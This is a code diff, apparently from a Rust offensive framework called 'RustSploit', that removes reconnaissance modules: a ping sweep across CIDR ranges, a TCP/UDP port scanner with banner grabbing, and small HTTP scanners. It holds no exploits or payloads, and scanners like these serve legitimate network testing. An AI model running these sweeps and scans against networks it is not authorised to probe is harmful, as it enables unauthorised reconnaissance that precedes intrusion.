println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_timeout() -> Result<u64> {
let input = prompt("Request timeout in seconds (default 10): ")?;
if input.is_empty() {
return Ok(10);
}
match input.parse::<u64>() {
Ok(val) if val > 0 => Ok(val),
_ => {
println!("[!] Invalid timeout, using default (10s)");
Ok(10)
}
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Title Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for result in results {
let status_text = result
.status
.map(|s| s.as_u16().to_string())
.unwrap_or_else(|| "n/a".to_string());
lines.push(format!(
"{} | status: {:<5} | title: {}",
result.url,
status_text,
result.display_title()
));
if result.duration_ms > 0 {
lines.push(format!(" duration: {} ms", result.duration_ms));
}
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
}
fn banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════╗
║ HTTP TITLE SCANNER (RustSploit) ║
║ Enumerate page titles over HTTP/HTTPS endpoints ║
╚══════════════════════════════════════════════════╝
"#
);
}
-8
View File
@@ -1,8 +0,0 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod http_method_scanner;
pub mod dns_recursion;
-606
View File
@@ -1,606 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use ipnet::IpNet;
use std::{
collections::HashSet,
fs::File,
io::{self, BufRead, BufReader, Write},
net::{IpAddr, SocketAddr},
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
#[derive(Clone, Debug)]
struct PingConfig {
targets: Vec<IpNet>,
methods: Vec<PingMethod>,
concurrency: usize,
timeout_secs: u64,
verbose: bool,
}
#[derive(Clone, Debug)]
enum PingMethod {
Icmp,
Tcp { ports: Vec<u16> },
}
impl PingMethod {
fn describe(&self) -> String {
match self {
PingMethod::Icmp => "ICMP".to_string(),
PingMethod::Tcp { ports } => {
if ports.len() == 1 {
format!("TCP/{}", ports[0])
} else {
format!(
"TCP [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
}
}
fn label(&self) -> &'static str {
match self {
PingMethod::Icmp => "ICMP",
PingMethod::Tcp { .. } => "TCP",
}
}
async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
match self {
PingMethod::Icmp => icmp_probe(ip, timeout).await,
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
}
}
}
/// Main entry point triggered via the dispatcher
pub async fn run(initial_target: &str) -> Result<()> {
let config = gather_configuration(initial_target)?;
execute_ping_sweep(&config).await
}
fn parse_target(input: &str) -> Result<IpNet> {
if let Ok(net) = input.parse::<IpNet>() {
return Ok(net);
}
if let Ok(ip) = input.parse::<IpAddr>() {
let prefix = match ip {
IpAddr::V4(_) => 32,
IpAddr::V6(_) => 128,
};
let cidr = format!("{}/{}", ip, prefix);
let net = cidr
.parse::<IpNet>()
.context("failed to convert host to /32 or /128 network")?;
return Ok(net);
}
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
}
fn gather_configuration(initial: &str) -> Result<PingConfig> {
println!("{}", "=== Ping Sweep Configuration ===".bold());
let mut nets: Vec<IpNet> = Vec::new();
let initial_trimmed = initial.trim();
if !initial_trimmed.is_empty() {
match parse_target(initial_trimmed) {
Ok(net) => {
println!(
"{}",
format!("[*] Loaded initial target {}", net).green()
);
nets.push(net);
}
Err(e) => {
eprintln!(
"{}",
format!(" Initial target '{}' skipped: {}", initial_trimmed, e)
.yellow()
);
}
}
}
if prompt_yes_no("Add additional targets manually?", false)? {
loop {
let entry = prompt_line(
"Enter target (IP or CIDR, leave blank to stop): ",
true,
)?;
if entry.is_empty() {
break;
}
match parse_target(&entry) {
Ok(net) => {
println!("{}", format!(" + {}", net).cyan());
nets.push(net);
}
Err(e) => {
eprintln!("{}", format!(" ! {}", e).red());
}
}
}
}
if prompt_yes_no("Load targets from file?", false)? {
let path = prompt_line("Path to file: ", false)?;
let file_targets = load_targets_from_file(&path)?;
if file_targets.is_empty() {
println!("{}", " No targets parsed from file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} targets from '{}'",
file_targets.len(),
path
)
.green()
);
nets.extend(file_targets);
}
}
if nets.is_empty() {
return Err(anyhow!(
"No valid targets supplied. Provide at least one IP or subnet."
));
}
// Deduplicate targets
let mut unique: HashSet<IpNet> = HashSet::new();
for net in nets {
unique.insert(net);
}
let targets: Vec<IpNet> = unique.into_iter().collect();
let timeout_secs =
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
let concurrency =
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
let methods = loop {
let mut methods = Vec::new();
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
methods.push(PingMethod::Icmp);
}
if prompt_yes_no("Use TCP connect probes?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Tcp { ports });
}
}
if methods.is_empty() {
println!("{}", "Select at least one method.".red().bold());
continue;
}
break methods;
};
println!(
"{}",
format!(
"\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
targets.len(),
methods_summary(&methods),
concurrency,
timeout_secs
)
.bold()
);
Ok(PingConfig {
targets,
methods,
concurrency,
timeout_secs,
verbose,
})
}
fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut nets = Vec::new();
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let mut content = line.split('#').next().unwrap_or("").trim().to_string();
if content.is_empty() {
continue;
}
content = content.replace(',', " ");
for token in content.split_whitespace() {
match parse_target(token) {
Ok(net) => nets.push(net),
Err(e) => {
eprintln!(
"{}",
format!(" [file:{}] skipped '{}': {}", idx + 1, token, e)
.yellow()
);
}
}
}
}
Ok(nets)
}
fn methods_summary(methods: &[PingMethod]) -> String {
methods
.iter()
.map(PingMethod::describe)
.collect::<Vec<_>>()
.join(", ")
}
async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let mut host_set: HashSet<IpAddr> = HashSet::new();
for net in &config.targets {
for host in net.hosts() {
host_set.insert(host);
}
}
if host_set.is_empty() {
println!("{}", "No host addresses derived from supplied targets.".yellow());
return Ok(());
}
let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
hosts.sort();
let total_hosts = hosts.len();
println!(
"{}",
format!(
"\n[*] Beginning sweep of {} hosts using {} method(s)...",
total_hosts,
config.methods.len()
)
.bold()
);
let semaphore = Arc::new(Semaphore::new(config.concurrency));
let methods = Arc::new(config.methods.clone());
let timeout = Duration::from_secs(config.timeout_secs.max(1));
let verbose = config.verbose;
let success_counter = Arc::new(AtomicUsize::new(0));
let processed_counter = Arc::new(AtomicUsize::new(0));
let start_time = std::time::Instant::now();
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
let processed_clone = processed_counter.clone();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let ip_string = ip.to_string();
let mut successes = Vec::new();
for method in methods_clone.iter() {
match method.probe(&ip, timeout).await {
Ok(mut labels) => successes.append(&mut labels),
Err(err) => {
if verbose {
eprintln!(
"{}",
format!(
"[!] {} ({}) error: {}",
ip_string,
method.label(),
err
)
.yellow()
);
}
}
}
}
drop(permit);
let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1;
// Progress indicator every 100 hosts or at completion
if processed % 100 == 0 || processed == total_hosts {
let elapsed = start_time.elapsed().as_secs();
let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 };
print!(
"\r{}",
format!(
"[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s",
processed,
total_hosts,
(processed as f64 / total_hosts as f64) * 100.0,
success_clone.load(Ordering::Relaxed),
rate
)
.dimmed()
);
io::stdout().flush().ok();
}
if !successes.is_empty() {
success_clone.fetch_add(1, Ordering::Relaxed);
println!(
"\r{}",
format!(
"[+] Host {} is up ({})",
ip_string,
successes.join(", ")
)
.green()
);
} else if verbose {
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}));
}
for task in tasks {
let _ = task.await;
}
// Clear progress line
print!("\r{}\r", " ".repeat(80));
io::stdout().flush().ok();
let up_hosts = success_counter.load(Ordering::Relaxed);
println!(
"{}",
format!(
"\n[*] Sweep complete: {}/{} hosts responded.",
up_hosts, total_hosts
)
.bold()
);
Ok(())
}
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
// Try to detect the OS and use appropriate ping command
let wait_secs = timeout.as_secs().max(1).to_string();
let ip_str = ip.to_string();
let (cmd, args_vec) = if ip.is_ipv4() {
// Try ping first, fallback to ping6 for IPv4 if ping doesn't exist
if which::which("ping").is_ok() {
("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else if which::which("ping6").is_ok() {
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else {
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
}
} else {
// IPv6
if which::which("ping6").is_ok() {
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else if which::which("ping").is_ok() {
// Some systems use ping -6 for IPv6
("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str])
} else {
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
}
};
let result = tokio::time::timeout(
timeout,
Command::new(cmd)
.args(args_vec)
.output(),
)
.await;
match result {
Ok(Ok(output)) => {
if output.status.success() {
Ok(vec!["ICMP".to_string()])
} else {
Ok(Vec::new())
}
}
Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)),
Err(_) => Ok(Vec::new()),
}
}
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
// Probe ports in parallel for better performance
let mut tasks = Vec::new();
for port in ports {
let ip = *ip;
let port = *port;
let timeout = timeout;
tasks.push(tokio::spawn(async move {
let socket = SocketAddr::new(ip, port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(_stream)) => {
// Connection successful - drop stream immediately
Some(format!("TCP/{}", port))
}
Ok(Err(_)) => None,
Err(_) => None,
}
}));
}
let mut successes = Vec::new();
for task in tasks {
if let Ok(Some(label)) = task.await {
successes.push(label);
}
}
Ok(successes)
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_string();
if !allow_empty && trimmed.is_empty() {
return Err(anyhow!("Input cannot be empty."));
}
Ok(trimmed)
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!(
"{}",
format!("{} [{}]: ", message, default).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!(
"{}",
format!("{} [{}]: ", message, default_hint).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(
message: &str,
default: usize,
min: Option<usize>,
max: Option<usize>,
) -> Result<usize> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<usize>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn prompt_u64(
message: &str,
default: u64,
min: Option<u64>,
max: Option<u64>,
) -> Result<u64> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<u64>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn parse_ports(input: &str) -> Result<Vec<u16>> {
let mut ports = Vec::new();
for token in input.replace(',', " ").split_whitespace() {
match token.parse::<u16>() {
Ok(port) => ports.push(port),
Err(_) => {
println!(
"{}",
format!(" Skipping invalid port '{}'", token).yellow()
);
}
}
}
ports.sort_unstable();
ports.dedup();
Ok(ports)
}
-593
View File
@@ -1,593 +0,0 @@
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[derive(Debug, Clone)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
pub show_only_open: bool,
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
})
}
/// Main entrypoint for interactive CLI mode
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
target,
settings.concurrency,
settings.timeout_secs,
settings.show_only_open,
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// === Core Scanner Logic ===
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
_verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
let start_time = Instant::now();
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tcp_tasks.push(handle);
}
// UDP Scan
let mut udp_tasks = vec![];
if scan_udp_enabled {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
udp_tasks.push(handle);
}
}
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
let _ = task.await;
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
Ok(())
}
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
}
}
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
};
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10";
let _ = sock.send_to(payload, target).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
}
}
/// === Target Resolution ===
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
Ok((addr.ip().to_string(), addr.ip()))
} else {
Err(anyhow!("Could not resolve target '{}'", input))
}
}
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
-15
View File
@@ -1,15 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A simple scanner that tries an HTTP GET and prints the response code
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_scanner on: {}", target);
let url = format!("http://{}", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?;
println!("[*] Status code: {}", resp.status());
Ok(())
}
-344
View File
